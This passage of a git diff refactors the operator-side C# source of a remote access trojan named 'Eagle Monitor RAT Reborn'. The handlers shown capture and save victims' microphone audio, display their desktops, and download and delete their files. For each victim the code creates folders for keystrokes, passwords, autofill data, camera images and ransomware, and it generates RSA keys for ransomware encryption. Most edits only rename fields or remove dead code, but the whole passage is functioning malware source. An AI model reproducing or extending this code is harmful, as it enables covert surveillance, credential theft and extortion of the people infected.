- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName, new WaveFormat(44100, 1));
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav";
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset = 0;
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName, new WaveFormat(44100, 1));
}
//currentOffset
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected = true;
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected = true;
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.bufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.BufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Flush();
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Flush();
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset += remoteAudioCapturePacket.bytesRecorded;
-
- return;
+ ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset += remoteAudioCapturePacket.bytesRecorded;
}
catch { }
- }).Start();*/
+ return;
+ }
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs
index efdea939..3de5f947 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs
@@ -13,39 +13,24 @@ internal class RemoteAudioPacketHandler
{
public RemoteAudioPacketHandler(RemoteAudioPacket remoteAudioPacket) : base()//, ClientHandler clientHandler) : base()
{
-
- try
- {
- ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.BeginInvoke((MethodInvoker)(() =>
- {
- foreach (string device in remoteAudioPacket.audioDevices)
- {
- ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.Items.Add(device);
- }
-
- if (remoteAudioPacket.audioDevices.Count > 0)
- ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0;
- }));
- }
- catch { }
- return;
- /*new Thread(() =>
+ if (ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm != null)
{
try
{
- ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.BeginInvoke((MethodInvoker)(() =>
{
foreach (string device in remoteAudioPacket.audioDevices)
{
- ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.Items.Add(device);
+ ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.Items.Add(device);
}
if (remoteAudioPacket.audioDevices.Count > 0)
- ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0;
+ ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0;
}));
}
catch { }
- }).Start();*/
+ return;
+ }
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs
index 172a3f82..93f28384 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs
@@ -20,28 +20,28 @@ internal class ConnectedPacketHandler
public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler clientHandler)
{
clientHandler.HWID = connectedPacket.HWID;
- connectedPacket.baseIp = clientHandler.IP;
+ connectedPacket.BaseIp = clientHandler.IP;
- clientHandler.clientPath = Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID;
- clientHandler.fullName = connectedPacket.Username + "@" + connectedPacket.HWID;
+ clientHandler.ClientPath = Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID;
+ clientHandler.FullName = connectedPacket.Username + "@" + connectedPacket.HWID;
Task.Run(() =>
{
if (!Directory.Exists(Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID))
{
Directory.CreateDirectory(Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID);
- clientHandler.clientStatus = "New client connected !";
-
- Directory.CreateDirectory(clientHandler.clientPath + "\\Downloaded Files\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\History\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Autofill\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Keystrokes\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Keywords\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Passwords\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Audio Records\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Screenshots\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Camera\\");
- Directory.CreateDirectory(clientHandler.clientPath + "\\Ransomware\\");
+ clientHandler.ClientStatus = "New client connected !";
+
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Downloaded Files\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\History\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Autofill\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Keystrokes\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Keywords\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Passwords\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Audio Records\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Screenshots\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Camera\\");
+ Directory.CreateDirectory(clientHandler.ClientPath + "\\Ransomware\\");
if (Program.settings.autoGenerateRSAKey)
{
@@ -51,15 +51,15 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"];
string rsa = JsonConvert.SerializeObject(encryptionInformation);
- File.WriteAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json", rsa);
- clientHandler.encryptionInformation = encryptionInformation;
+ File.WriteAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa);
+ clientHandler.EncryptionInformation = encryptionInformation;
}
}
else
{
- clientHandler.clientStatus = "Old client connected !";
- if (!File.Exists(clientHandler.clientPath + "\\Ransomware\\encryption.json") && Program.settings.autoGenerateRSAKey)
+ clientHandler.ClientStatus = "Old client connected !";
+ if (!File.Exists(clientHandler.ClientPath + "\\Ransomware\\encryption.json") && Program.settings.autoGenerateRSAKey)
{
Misc.EncryptionInformation encryptionInformation = new Misc.EncryptionInformation();
Dictionary rsaKey = Misc.Encryption.GetKey();
@@ -67,15 +67,15 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"];
string rsa = JsonConvert.SerializeObject(encryptionInformation);
- File.WriteAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json", rsa);
- clientHandler.encryptionInformation = encryptionInformation;
+ File.WriteAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa);
+ clientHandler.EncryptionInformation = encryptionInformation;
}
else
{
if (Program.settings.autoGenerateRSAKey)
{
- Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json"));
- clientHandler.encryptionInformation = encryptionInformation;
+ Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json"));
+ clientHandler.EncryptionInformation = encryptionInformation;
}
}
}
@@ -105,24 +105,24 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
if (connectedPacket.Is64Bit == "32")
{
- clientHandler.is64bitClient = false;
+ clientHandler.Is64bitClient = false;
}
else
{
- clientHandler.is64bitClient = true;
+ clientHandler.Is64bitClient = true;
}
if (connectedPacket.Privilege == "User")
{
- clientHandler.isAdmin = false;
+ clientHandler.IsAdmin = false;
}
else
{
- clientHandler.isAdmin = true;
+ clientHandler.IsAdmin = true;
}
- row.Cells["Column10"].Value = clientHandler.serverPort.ToString();
- clientHandler.clientRow = row;
+ row.Cells["Column10"].Value = clientHandler.ServerPort.ToString();
+ clientHandler.ClientRow = row;
Program.mainForm.clientDataGridView.ClearSelection();
}));
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs
index 3af3016f..d05a1038 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs
@@ -12,55 +12,26 @@ namespace Eagle_Monitor_RAT_Reborn.PacketHandler
{
internal class RemoteViewerPacketHandler
{
- public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket) : base()//, ClientHandler clientHandler) : base()
+ public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket) : base()
{
- if (ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm != null)
+ if (ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm != null)
{
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() =>
{
try
{
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hasAlreadyConnected = true;
+ ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HasAlreadyConnected = true;
if (remoteViewerPacket.desktopPicture != null)
{
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture);
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hResol = remoteViewerPacket.hResol;
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.vResol = remoteViewerPacket.vResol;
+ ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture);
+ ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HResol = remoteViewerPacket.hResol;
+ ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.VResol = remoteViewerPacket.vResol;
}
return;
}
catch { }
}));
}
- /*Task.Run(() =>
- {
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() =>
- {
- try
- {
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hasAlreadyConnected = true;
- if (ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture) != null)
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture);
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hResol = remoteViewerPacket.hResol;
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.vResol = remoteViewerPacket.vResol;
- return;
- }
- catch { }
- }));
- });*/
- /*try
- {
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() =>
- {
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hasAlreadyConnected = true;
- if (ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture) != null)
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture);
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hResol = remoteViewerPacket.hResol;
- ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.vResol = remoteViewerPacket.vResol;
- }));
- return;
- }
- catch { }*/
}
}
}
\ No newline at end of file
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs
index 23ac872c..45a71767 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs
@@ -17,39 +17,19 @@ public DeleteFilePacketHandler(DeleteFilePacket deleteFilePacket) : base()//, Cl
{
if (deleteFilePacket.deleted)
{
- ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
{
try
{
- DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList[deleteFilePacket.fileTicket];
- ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.Rows.Remove(row);
- ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList.Remove(deleteFilePacket.fileTicket);
+ DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList[deleteFilePacket.fileTicket];
+ ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Remove(row);
+ ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList.Remove(deleteFilePacket.fileTicket);
}
catch { }
}));
}
}
catch { }
- /*new Thread(() =>
- {
- try
- {
- if (deleteFilePacket.deleted)
- {
- ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
- {
- try
- {
- DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList[deleteFilePacket.fileTicket];
- ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.Rows.Remove(row);
- ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList.Remove(deleteFilePacket.fileTicket);
- }
- catch { }
- }));
- }
- }
- catch { }
- }).Start();*/
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs
index 6f2f08b0..109a10de 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs
@@ -15,35 +15,18 @@ public DisksPacketHandler(DiskPacket diskPacket) : base()//, ClientHandler clien
{
try
{
- ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.Items.Clear();
- ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Clear();
+ ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear();
foreach (string disk in diskPacket.disksList)
{
- ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.Items.Add(disk);
+ ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Add(disk);
}
- ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.SelectedItem = ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.Items[0];
+ ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.SelectedItem = ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items[0];
}));
}
catch { }
- /*new Thread(() =>
- {
- try
- {
- clientHandler.clientForm.BeginInvoke((MethodInvoker)(() =>
- {
- clientHandler.clientForm.disksGuna2ComboBox.Items.Clear();
- clientHandler.clientForm.fileManagerDataGridView.Rows.Clear();
- foreach (string disk in diskPacket.disksList)
- {
- clientHandler.clientForm.disksGuna2ComboBox.Items.Add(disk);
- }
- clientHandler.clientForm.disksGuna2ComboBox.SelectedItem = clientHandler.clientForm.disksGuna2ComboBox.Items[0];
- }));
- }
- catch { }
- }).Start();*/
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs
index cb19ef6a..fa71efce 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs
@@ -16,14 +16,14 @@ internal class DownloadFilePacketHandler
public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket, ClientHandler clientHandler) : base()
{
- using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append))
+ using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append))
{
stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length);
}
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket];
+ DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList[downloadFilePacket.fileTicket];
long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length;
row.Cells["Column29"].Tag = currentSize;
@@ -40,115 +40,12 @@ public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket, ClientHa
clientHandler.Dispose();
if (Program.settings.autoRemoveRowWhenFileIsDownloaded)
{
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row);
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket);
+ ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.Rows.Remove(row);
+ ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList.Remove(downloadFilePacket.fileTicket);
}
}
downloadFilePacket.file = null;
- }));
- /*ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() =>
- {
- DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket];
-
- using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append))
- {
- stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length);
- }
-
- long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length;
- row.Cells["Column29"].Tag = currentSize;
-
- decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString());
- decimal final = Decimal.Round(pourcentage * 100, 2);
-
- row.Cells["Column30"].Value = $"{final}%";
-
- row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}";
-
- if (currentSize == long.Parse(row.Tag.ToString()))
- {
- clientHandler.Dispose();
- if (Program.settings.autoRemoveRowWhenFileIsDownloaded)
- {
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row);
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket);
- }
- }
- downloadFilePacket.file = null;
- }));*/
- /*
- new Thread(() =>
- {
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() =>
- {
- DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket];
-
- using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append))
- {
- stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length);
- }
-
- long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length;
- row.Cells["Column29"].Tag = currentSize;
-
- decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString());
- decimal final = Decimal.Round(pourcentage * 100, 2);
-
- row.Cells["Column30"].Value = $"{final}%";
-
- row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}";
-
- if (currentSize == long.Parse(row.Tag.ToString()))
- {
- clientHandler.Dispose();
- if (Program.settings.autoRemoveRowWhenFileIsDownloaded)
- {
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row);
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket);
- }
- }
- downloadFilePacket.file = null;
- }));
- }).Start();*/
- /*Task.Run(() =>
- {
- using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append))
- {
- stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length);
- }
-
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() =>
- {
- try
- {
- DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket];
-
- long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length;
- row.Cells["Column29"].Tag = currentSize;
-
- decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString());
- decimal final = Decimal.Round(pourcentage * 100, 2);
-
- row.Cells["Column30"].Value = $"{final}%";
-
- row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}";
-
- if (currentSize == long.Parse(row.Tag.ToString()))
- {
- clientHandler.Dispose();
- if (Program.settings.autoRemoveRowWhenFileIsDownloaded)
- {
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row);
- ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket);
- }
- }
- downloadFilePacket.file = null;
- }
- catch (Exception)
- {}
- return;
- }));
- });*/
+ }));
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs
index edab5d4a..311e38cb 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs
@@ -16,16 +16,16 @@ public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) : base()//,
{
try
{
- ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear();
int x = 0;
foreach (var dir in fileManagerPacket.filesAndDirs[0])
{
- int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];
row.Cells["Column11"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26));
row.Cells["Column12"].Value = dir[0].ToString();
row.Cells["Column13"].Value = "Directory";
@@ -34,14 +34,14 @@ public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) : base()//,
x++;
- ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.Column12, System.ComponentModel.ListSortDirection.Ascending);
+ ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending);
foreach (var file in fileManagerPacket.filesAndDirs[1])
{
Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]);
